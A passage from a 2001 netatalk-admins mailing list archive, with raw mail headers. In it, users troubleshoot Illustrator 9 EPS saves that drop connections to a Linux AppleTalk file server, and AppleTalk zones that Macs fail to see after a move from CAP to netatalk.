	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07151
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 15:14:03 -0500 (EST)
Received: from mail.byte-productions.com (mail.byte-productions.com [12.32.73.213])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA07082
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 15:14:00 -0500 (EST)
Received: from [12.32.73.194] (byte-1.byte-productions.com [12.32.73.194])
	by mail.byte-productions.com (8.9.3/8.8.7) with ESMTP id PAA29391
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 15:14:00 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 22 Mar 2001 15:13:59 -0500
Subject: Illustrator EPS files
From: Tom Barrons <tom@byte-productions.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6DFC736.C21%tom@byte-productions.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

I could use some help.  I just built a new fileserver for a mixed
Mac/Windows environment, I'm running netatalk and samba.  This is only the
second such install I've done.  My first one was a while ago and it's been
running great. I tried replicating the problem on my first install using the
same files, the first one does not have the problem.

First machine I'm running Yellow Dog Linux Champion Server 1.1 with
netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
new machine having the problem is RedHat 7 also with
netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two machines
are on different networks in different buildings.

This art department, all Macs, use Adobe Illustrator version 9.  If a user
tries saving a file directly to the server as an EPS "occasionally" they get
kicked off the server and have to reconnect.  They never have this problem
if they save the file locally and then drag copy it over the network, only
if they are saving it from within Illustrator.

I don't see this as being to big of a problem myself but I can't seem to get
them in the habit of doing it this way and not complaining about it.  This
didn't used to happen on their old NT server so of course they think the
Linux one is broken and I want to prove otherwise.  Everything else on the
Samba/Windows end is working on this new install.

After skimming through archives of this list I suspected the CRLF
translation and I believe I correctly disabled that by adding -nocrlf to
afpd.conf? I restarted netatlk but the problem persists.

Since I didn't compile this myself I also wonder about a difference there,
and how could I check for this?  Could this still be something in netatalk
or a config somewhere, or should I be looking elsewhere on the server or the
network?

Thanks for any help.
Tom


From netatalk.administrators-errors@umich.edu  Thu Mar 22 17:26:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21922
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 17:26:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22778
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 17:26:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22762
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 17:26:43 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA22745
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 17:26:41 -0500 (EST)
Received: from [192.168.200.10] (lsanca1-192-008.dsl.gtei.net [4.3.192.8])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id OAA18204;
	Thu, 22 Mar 2001 14:33:39 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a03b6e02af52524@[192.168.200.10]>
In-Reply-To: <B6DFC736.C21%tom@byte-productions.com>
References: <B6DFC736.C21%tom@byte-productions.com>
Date: Thu, 22 Mar 2001 14:23:14 -0800
To: Tom Barrons <tom@byte-productions.com>, <netatalk-admins@umich.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: Illustrator EPS files
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

Tom,

   I'm not sure why it wouldn't happen on an NT server (unless the NT server 
wasn't utilizing AppleShare IP protocol), HOWEVER, Adobe made some changes 
in Illustrator 9 that affects it's communication with servers (not any 
specifically) which cause strange things to happen.

Although i'm not a production operator, I install server solutions in the 
pre-press industry and i've heard nothing but disappointment with regards 
to illustrator 9.  Many of my customers have discontinued its use and gone 
back to version 8 just due to the production problems they've been 
experiencing.

if this problem is only happening with illustrator 9, I would say it's not 
likely your netatalk configuration.  Try doing the same operations with 
illustrator version 8 and see if the problem persists.  if not, then it's 
very likely Illustrator 9, at which point, i'd suggest contacting Adobe to 
see if they have a fix.

hope this helps.

alan

At 3:13$B8a8e(B -0500 3.22.01, Tom Barrons wrote:
>Hi all,
>
>I could use some help.  I just built a new fileserver for a mixed
>Mac/Windows environment, I'm running netatalk and samba.  This is only the
>second such install I've done.  My first one was a while ago and it's been
>running great. I tried replicating the problem on my first install using the
>same files, the first one does not have the problem.
>
>First machine I'm running Yellow Dog Linux Champion Server 1.1 with
>netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
>new machine having the problem is RedHat 7 also with
>netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two machines
>are on different networks in different buildings.
>
>This art department, all Macs, use Adobe Illustrator version 9.  If a user
>tries saving a file directly to the server as an EPS "occasionally" they get
>kicked off the server and have to reconnect.  They never have this problem
>if they save the file locally and then drag copy it over the network, only
>if they are saving it from within Illustrator.
>
>I don't see this as being to big of a problem myself but I can't seem to get
>them in the habit of doing it this way and not complaining about it.  This
>didn't used to happen on their old NT server so of course they think the
>Linux one is broken and I want to prove otherwise.  Everything else on the
>Samba/Windows end is working on this new install.
>
>After skimming through archives of this list I suspected the CRLF
>translation and I believe I correctly disabled that by adding -nocrlf to
>afpd.conf? I restarted netatlk but the problem persists.
>
>Since I didn't compile this myself I also wonder about a difference there,
>and how could I check for this?  Could this still be something in netatalk
>or a config somewhere, or should I be looking elsewhere on the server or the
>network?
>
>Thanks for any help.
>Tom

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Thu Mar 22 19:17:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA24261
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 19:17:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27271
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 19:17:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27261
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 19:17:41 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h021.c017.sfo.cp.net [209.228.12.235])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA27241
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 19:17:39 -0500 (EST)
Received: (cpmta 19960 invoked from network); 22 Mar 2001 16:17:38 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.235) with SMTP; 22 Mar 2001 16:17:38 -0800
X-Sent: 23 Mar 2001 00:17:38 GMT
Mime-Version: 1.0
Message-Id: <p04320400b6e04579bcf0@[192.168.0.50]>
In-Reply-To: 
 <Pine.LNX.4.30.0103221357110.23515-100000@hooloovoo.math.ohio-state.edu>
References: 
 <Pine.LNX.4.30.0103221357110.23515-100000@hooloovoo.math.ohio-state.edu>
Date: Thu, 22 Mar 2001 16:20:08 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: zone router
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"

hey chad,

i may be way off base here, but don't appletalk routers need to have 
a separate interface for each zone?  i used one back in the day that 
routed between 2 floors (i believe it was a farallon pathfinder) and 
you basically hooked one end to each network, or zone.  all the 
machines on each network had to physically reside in the same area. 
does you old sun box have more than one ethernet card?  i noticed 
your linux box does not.  if the sun has more than one ethernet card, 
(or maybe not, since i don't know the capabilities of CAP) you should 
look into getting some more for the linux box.  besides, you'll get 
better throughput.

w


>As far as I know, there are no other appletalk routers. Is there any way
>to scan for it? But when I shut down the netatalk or CAP server, the macs
>say appletalk is gone and register no zones, so I would think that would
>mean that there isn't another router running, right?
>
>This is very strange...
>
>On Thu, 22 Mar 2001, alan premselaar wrote:
>
>>  do you have any other appletalk routers on your network?
>>
>>  when the macs see the zones in the chooser (after clicking on appleshare),
>>  what zone(s) does the linux server show up in?
>>
>>  more than likely you've got another appletalk router somewhere on your
>>  network and it has conflicting zone information.
>>
>>  alan
>>
>>  At 1:12$B8a8e(B -0500 3.22.01, Chad Cunningham wrote:
>>  >Hi,
>>  >
>>  >I had rebooted them, didn't do anything. I tried opening the appletalk
>>  >control panel and switching the appletalk connection off of ethernet and
>>  >then back. This gave me all the zones, but for some reason every computer
>>  >was in every zone... Also, after about 2 minutes, the mac would lose all
>>  >it's zones and say that the appletalk network has become unavailable...
>>  >
>>  >On Thu, 22 Mar 2001, alan premselaar wrote:
>>  >
>>  > > Chad,
>>  > >
>>  > >   Once you make a change to your appletalk network like that, you'll
>>  >need to
>>  > > either a) reboot your macs, or b) open up the appletalk control panel on
>>  > > each of them... at which point it should tell you that your appletalk
>>  > > network setting is no longer valid and re-probe the ethernet device for
>>  > > zones, etc.  In some cases, i've had to switch the appletalk from the
>>  > > ethernet device to the printerport (or something else) and 
>>back before it
>>  > > would recognize the new zones.
>>  > >
>>  > > alan
>>  > >
>>  > > At 11:26$B8aA0(B -0500 3.22.01, Chad Cunningham wrote:
>>  > > >Hi,
>>  > > >
>>  > > >I am trying to replace a Solaris box running CAP with a linux 
>>box running
>>  > > >netatalk. I can't seem to get zones to work properly under the new
>>  > > >netatalk setup. My atalkd.conf looks like
>>  > > >
>>  > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone 
>>"Staff" -zone "RTL"
>>  > > >-zone "Faculty" -zone "EMPT" -zone "Public"
>>  > > >
>>  > > >It seems happy with this, the atalkd.conf doesn't get 
>>overwritten when I
>>  > > >start up and I can use getzones and they all show up. 
>>However, none of the
>>  > > >macs recognize any zones. Any idea why this might be?
>>  > > >
>>  > > > --
>>  > > >
>>  > > >Chad Cunningham
>>  > > >ccunning@math.ohio-state.edu
>>  > > >
>>  > > >"Well, once again my friend, we find that science is a two-headed
>>  >beast. One
>>  > > >head is nice, it gives us aspirin and other modern 
>>conveniences,...but the
>>  > > >other head of science is bad! Oh beware the other head of science,
>>  >Arthur, it
>>  > > >bites!"
>>  > >
>>  > > ----
>>  > >   there's nothing like the undying sense of reliability 
>>provided by modern
>>  > > technology.
>>  > > ----
>>  > > alan premselaar
>>  > > alien@12inch.com
>>  > > www.12inch.com
>>  > >
>>  >
>>  >--
>>  >
>>  >Chad Cunningham
>>  >ccunning@math.ohio-state.edu
>>  >
>>  >"Well, once again my friend, we find that science is a two-headed 
>>beast. One
>>  >head is nice, it gives us aspirin and other modern conveniences,...but the
>>  >other head of science is bad! Oh beware the other head of 
>>science, Arthur, it
>>  >bites!"
>>
>>  ----
>>    there's nothing like the undying sense of reliability provided by modern
>>  technology.
>>  ----
>>  alan premselaar
>>  alien@12inch.com
>>  www.12inch.com
>>
>
>--
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 19:51:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA25125
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 19:51:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 19:51:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28422
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 19:51:44 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h014.c017.sfo.cp.net [209.228.12.228])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA28368
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 19:51:43 -0500 (EST)
Received: (cpmta 22631 invoked from network); 22 Mar 2001 16:51:49 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.228) with SMTP; 22 Mar 2001 16:51:49 -0800
X-Sent: 23 Mar 2001 00:51:49 GMT
Mime-Version: 1.0
Message-Id: <p04320401b6e04de8b85b@[192.168.0.50]>
Date: Thu, 22 Mar 2001 16:54:20 -0800
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: zone router
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hate to reply to my own posts but i looked into it a bit more and saw 
that your -router may route between appletalk networks on a single 
interface, but i beleive you need something to "seed" the networks 
(such as the CAP machine) before this will work.  with multiple 
interfaces (let's face it, you can get them for $15-$20 on an intel 
box) and the -seed option i think your problems would disappear.

w

?hey chad,

i may be way off base here, but don't appletalk routers need to have 
a separate interface for each zone?  i used one back in the day that 
routed between 2 floors (i believe it was a farallon pathfinder) and 
you basically hooked one end to each network, or zone.  all the 
machines on each network had to physically reside in the same area. 
does you old sun box have more than one ethernet card?  i noticed 
your linux box does not.  if the sun has more than one ethernet card, 
(or maybe not, since i don't know the capabilities of CAP) you should 
look into getting some more for the linux box.  besides, you'll get 
better throughput.

w


>As far as I know, there are no other appletalk routers. Is there any way
>to scan for it? But when I shut down the netatalk or CAP server, the macs
>say appletalk is gone and register no zones, so I would think that would
>mean that there isn't another router running, right?
>
>This is very strange...
>
>On Thu, 22 Mar 2001, alan premselaar wrote:
>
>>   do you have any other appletalk routers on your network?
>>
>>   when the macs see the zones in the chooser (after clicking on appleshare),
>>   what zone(s) does the linux server show up in?
>>
>>   more than likely you've got another appletalk router somewhere on your
>>   network and it has conflicting zone information.
>>
>>   alan
>>
>>   At 1:12?? -0500 3.22.01, Chad Cunningham wrote:
>>   >Hi,
>>   >
>>   >I had rebooted them, didn't do anything. I tried opening the appletalk
>>   >control panel and switching the appletalk connection off of ethernet and
>>   >then back. This gave me all the zones, but for some reason every computer
>>   >was in every zone... Also, after about 2 minutes, the mac would lose all
>>   >it's zones and say that the appletalk network has become unavailable...
>>   >
>>   >On Thu, 22 Mar 2001, alan premselaar wrote:
>>   >
>>   > > Chad,
>>   > >
>>   > >   Once you make a change to your appletalk network like that, you'll
>>   >need to
>>   > > either a) reboot your macs, or b) open up the appletalk 
>>control panel on
>>   > > each of them... at which point it should tell you that your appletalk
>>   > > network setting is no longer valid and re-probe the ethernet device for
>>   > > zones, etc.  In some cases, i've had to switch the appletalk from the
>>   > > ethernet device to the printerport (or something else) and 
>>back before it
>>   > > would recognize the new zones.
>>   > >
>>   > > alan
>>   > >
>>   > > At 11:26?? -0500 3.22.01, Chad Cunningham wrote:
>>   > > >Hi,
>>   > > >
>>   > > >I am trying to replace a Solaris box running CAP with a 
>>linux box running
>>   > > >netatalk. I can't seem to get zones to work properly under the new
>>   > > >netatalk setup. My atalkd.conf looks like
>>   > > >
>>   > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone 
>>"Staff" -zone "RTL"
>>   > > >-zone "Faculty" -zone "EMPT" -zone "Public"
>>   > > >
>>   > > >It seems happy with this, the atalkd.conf doesn't get 
>>overwritten when I
>>   > > >start up and I can use getzones and they all show up. 
>>However, none of the
>>   > > >macs recognize any zones. Any idea why this might be?
>>   > > >
>>   > > > --
>>   > > >
>>   > > >Chad Cunningham
>>   > > >ccunning@math.ohio-state.edu
>>   > > >
>>   > > >"Well, once again my friend, we find that science is a two-headed
>>   >beast. One
>>   > > >head is nice, it gives us aspirin and other modern 
>>conveniences,...but the
>>   > > >other head of science is bad! Oh beware the other head of science,
>>   >Arthur, it
>>   > > >bites!"
>>   > >
>>   > > ----
>>   > >   there's nothing like the undying sense of reliability 
>>provided by modern
>>   > > technology.
>>   > > ----
>>   > > alan premselaar
>>   > > alien@12inch.com
>>   > > www.12inch.com
>>   > >
>>   >
>>   >--
>>   >
>>   >Chad Cunningham
>>   >ccunning@math.ohio-state.edu
>>   >
>>   >"Well, once again my friend, we find that science is a 
>>two-headed beast. One
>>   >head is nice, it gives us aspirin and other modern conveniences,...but the
>>   >other head of science is bad! Oh beware the other head of 
>>science, Arthur, it
>>   >bites!"
>>
>>   ----
>>     there's nothing like the undying sense of reliability provided by modern
>>   technology.
>>   ----
>>   alan premselaar
>>   alien@12inch.com
>>   www.12inch.com
>>
>
>--
>
>Chad Cunningham
>ccunning@math.ohio-state.edu
>
>"Well, once again my friend, we find that science is a two-headed beast. One
>head is nice, it gives us aspirin and other modern conveniences,...but the
>other head of science is bad! Oh beware the other head of science, Arthur, it
>bites!"

From netatalk.administrators-errors@umich.edu  Thu Mar 22 20:02:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA25276
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 20:02:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03308
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 20:02:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03289
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 20:02:31 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA03272
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 20:02:30 -0500 (EST)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2N12UR11578;
	Thu, 22 Mar 2001 20:02:30 -0500
Received: from localhost (ccunning@localhost)
	by math.ohio-state.edu (8.11.0/8.11.0) with ESMTP id f2N12U518392;
	Thu, 22 Mar 2001 20:02:30 -0500 (EST)
Date: Thu, 22 Mar 2001 20:02:29 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
cc: <netatalk-admins@umich.edu>
Subject: Re: zone router
In-Reply-To: <p04320401b6e04de8b85b@[192.168.0.50]>
Message-ID: <Pine.GSO.4.31.0103221955110.18209-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I'm confused :) What would the function of the second nic be? We actually
have a second one in the machine, it's just not doing anything. We have
two subnets, however all the macs are in one subnet as the server.

I've not found a good explanation of appletalk networking, so I think I'm
missing what the function of the second nic would be and how it should
be configured. Cap is happy with just 1 nic and multiple zones, but I wanted
to move to netatalk because cap doesn't handle resource forks very well.

On Thu, 22 Mar 2001, Walt Reed wrote:

> hate to reply to my own posts but i looked into it a bit more and saw
> that your -router may route between appletalk networks on a single
> interface, but i beleive you need something to "seed" the networks
> (such as the CAP machine) before this will work.  with multiple
> interfaces (let's face it, you can get them for $15-$20 on an intel
> box) and the -seed option i think your problems would disappear.
>
> w
>
> ?hey chad,
>
> i may be way off base here, but don't appletalk routers need to have
> a separate interface for each zone?  i used one back in the day that
> routed between 2 floors (i believe it was a farallon pathfinder) and
> you basically hooked one end to each network, or zone.  all the
> machines on each network had to physically reside in the same area.
> does you old sun box have more than one ethernet card?  i noticed
> your linux box does not.  if the sun has more than one ethernet card,
> (or maybe not, since i don't know the capabilities of CAP) you should
> look into getting some more for the linux box.  besides, you'll get
> better throughput.
>
> w
>
>
> >As far as I know, there are no other appletalk routers. Is there any way
> >to scan for it? But when I shut down the netatalk or CAP server, the macs
> >say appletalk is gone and register no zones, so I would think that would
> >mean that there isn't another router running, right?
> >
> >This is very strange...
> >
> >On Thu, 22 Mar 2001, alan premselaar wrote:
> >
> >>   do you have any other appletalk routers on your network?
> >>
> >>   when the macs see the zones in the chooser (after clicking on appleshare),
> >>   what zone(s) does the linux server show up in?
> >>
> >>   more than likely you've got another appletalk router somewhere on your
> >>   network and it has conflicting zone information.
> >>
> >>   alan
> >>
> >>   At 1:12?? -0500 3.22.01, Chad Cunningham wrote:
> >>   >Hi,
> >>   >
> >>   >I had rebooted them, didn't do anything. I tried opening the appletalk
> >>   >control panel and switching the appletalk connection off of ethernet and
> >>   >then back. This gave me all the zones, but for some reason every computer
> >>   >was in every zone... Also, after about 2 minutes, the mac would lose all
> >>   >it's zones and say that the appletalk network has become unavailable...
> >>   >
> >>   >On Thu, 22 Mar 2001, alan premselaar wrote:
> >>   >
> >>   > > Chad,
> >>   > >
> >>   > >   Once you make a change to your appletalk network like that, you'll
> >>   >need to
> >>   > > either a) reboot your macs, or b) open up the appletalk
> >>control panel on
> >>   > > each of them... at which point it should tell you that your appletalk
> >>   > > network setting is no longer valid and re-probe the ethernet device for
> >>   > > zones, etc.  In some cases, i've had to switch the appletalk from the
> >>   > > ethernet device to the printerport (or something else) and
> >>back before it
> >>   > > would recognize the new zones.
> >>   > >
> >>   > > alan
> >>   > >
> >>   > > At 11:26?? -0500 3.22.01, Chad Cunningham wrote:
> >>   > > >Hi,
> >>   > > >
> >>   > > >I am trying to replace a Solaris box running CAP with a
> >>linux box running
> >>   > > >netatalk. I can't seem to get zones to work properly under the new
> >>   > > >netatalk setup. My atalkd.conf looks like
> >>   > > >
> >>   > > >eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone
> >>"Staff" -zone "RTL"
> >>   > > >-zone "Faculty" -zone "EMPT" -zone "Public"
> >>   > > >
> >>   > > >It seems happy with this, the atalkd.conf doesn't get
> >>overwritten when I
> >>   > > >start up and I can use getzones and they all show up.
> >>However, none of the
> >>   > > >macs recognize any zones. Any idea why this might be?
> >>   > > >
> >>   > > > --
> >>   > > >
> >>   > > >Chad Cunningham
> >>   > > >ccunning@math.ohio-state.edu
> >>   > > >
> >>   > > >"Well, once again my friend, we find that science is a two-headed
> >>   >beast. One
> >>   > > >head is nice, it gives us aspirin and other modern
> >>conveniences,...but the
> >>   > > >other head of science is bad! Oh beware the other head of science,
> >>   >Arthur, it
> >>   > > >bites!"
> >>   > >
> >>   > > ----
> >>   > >   there's nothing like the undying sense of reliability
> >>provided by modern
> >>   > > technology.
> >>   > > ----
> >>   > > alan premselaar
> >>   > > alien@12inch.com
> >>   > > www.12inch.com
> >>   > >
> >>   >
> >>   >--
> >>   >
> >>   >Chad Cunningham
> >>   >ccunning@math.ohio-state.edu
> >>   >
> >>   >"Well, once again my friend, we find that science is a
> >>two-headed beast. One
> >>   >head is nice, it gives us aspirin and other modern conveniences,...but the
> >>   >other head of science is bad! Oh beware the other head of
> >>science, Arthur, it
> >>   >bites!"
> >>
> >>   ----
> >>     there's nothing like the undying sense of reliability provided by modern
> >>   technology.
> >>   ----
> >>   alan premselaar
> >>   alien@12inch.com
> >>   www.12inch.com
> >>
> >
> >--
> >
> >Chad Cunningham
> >ccunning@math.ohio-state.edu
> >
> >"Well, once again my friend, we find that science is a two-headed beast. One
> >head is nice, it gives us aspirin and other modern conveniences,...but the
> >other head of science is bad! Oh beware the other head of science, Arthur, it
> >bites!"
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 20:26:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA26211
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 20:26:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA07448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 20:26:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA07426
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 20:26:12 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h020.c017.sfo.cp.net [209.228.12.234])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA07380
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 20:26:10 -0500 (EST)
Received: (cpmta 13530 invoked from network); 22 Mar 2001 17:26:17 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.234) with SMTP; 22 Mar 2001 17:26:17 -0800
X-Sent: 23 Mar 2001 01:26:17 GMT
Mime-Version: 1.0
Message-Id: <p04320404b6e05749ecb0@[192.168.0.50]>
Date: Thu, 22 Mar 2001 17:28:47 -0800
To: netatalk-admins@umich.edu
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: zone router
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

well, the second nic would make your linux box a router, in the true 
sense.  think of a zone as a physical network.  you don't just 
separate macs into zones, like you would pc's into windows 
workgroups.  instead zones are a way to allow machines to talk to 
each other although they are physically separate (such as on another 
floor, or another building).  CAP may have a different way of 
seeding, the configs would probably tell you a lot.  you'll notice 
that the -seed option only works with multiple interfaces, in this 
case a nic card.

have you tried using both machines on the network @ the same time? 
i'd be interested in what happens.  my thinking is that the CAP 
machine would seed your zones, and netatalk might use them better. 
just another option.

w

>I'm confused :) What would the function of the second nic be? We actually
>have a second one in the machine, it's just not doing anything. We have
>two subnets, however all the macs are in one subnet as the server.
>
>I've not found a good explanation of appletalk networking, so I think I'm
>missing what the function of the second nic would be and how it should
>be configured. Cap is happy with just 1 nic and multiple zones, but I wanted
>to move to netatalk because cap doesn't handle resource forks very well.
>
>On Thu, 22 Mar 2001, Walt Reed wrote:
>
>>  hate to reply to my own posts but i looked into it a bit more and saw
>>  that your -router may route between appletalk networks on a single
>>  interface, but i beleive you need something to "seed" the networks
>>  (such as the CAP machine) before this will work.  with multiple
>>  interfaces (let's face it, you can get them for $15-$20 on an intel
>>  box) and the -seed option i think your problems would disappear.
>>
>>  w
>>
>>  ?hey chad,
>>
>>  i may be way off base here, but don't appletalk routers need to have
>>  a separate interface for each zone?  i used one back in the day that
>>  routed between 2 floors (i believe it was a farallon pathfinder) and
>>  you basically hooked one end to each network, or zone.  all the
>>  machines on each network had to physically reside in the same area.
>>  does you old sun box have more than one ethernet card?  i noticed
>>  your linux box does not.  if the sun has more than one ethernet card,
>>  (or maybe not, since i don't know the capabilities of CAP) you should
>>  look into getting some more for the linux box.  besides, you'll get
>>  better throughput.
>>
>>  w
>>
>>
>>  >As far as I know, there are no other appletalk routers. Is there any way
>>  >to scan for it? But when I shut down the netatalk or CAP server, the macs
>>  >say appletalk is gone and register no zones, so I would think that would
>>  >mean that there isn't another router running, right?
>>  >
>>  >This is very strange...
>>  >
>>  >On Thu, 22 Mar 2001, alan premselaar wrote:
>>  >
>>  >>   do you have any other appletalk routers on your network?
>>  >>
>>  >>   when the macs see the zones in the chooser (after clicking on 
>>appleshare),
>>  >>   what zone(s) does the linux server show up in?
>>  >>
>>  >>   more than likely you've got another appletalk router somewhere on your
>>  >>   network and it has conflicting zone information.
>>  >>
>>  >>   alan
>>  >>
>>  >>   At 1:12?? -0500 3.22.01, Chad Cunningham wrote:
>>  >>   >Hi,
>>  >>   >
>>  >>   >I had rebooted them, didn't do anything. I tried opening the appletalk
>>  >>   >control panel and switching the appletalk connection off of 
>>ethernet and
>>  >>   >then back. This gave me all the zones, but for some reason 
>>every computer
>>  >>   >was in every zone... Also, after about 2 minutes, the mac 
>>would lose all
>>  >>   >it's zones and say that the appletalk network has become 
>>unavailable...
>>  >>   >
>>  >>   >On Thu, 22 Mar 2001, alan premselaar wrote:
>>  >>   >
>>  >>   > > Chad,
>>  >>   > >
>>  >>   > >   Once you make a change to your appletalk network like 
>>that, you'll
>>  >>   >need to
>>  >>   > > either a) reboot your macs, or b) open up the appletalk
>>  >>control panel on
>>  >>   > > each of them... at which point it should tell you that 
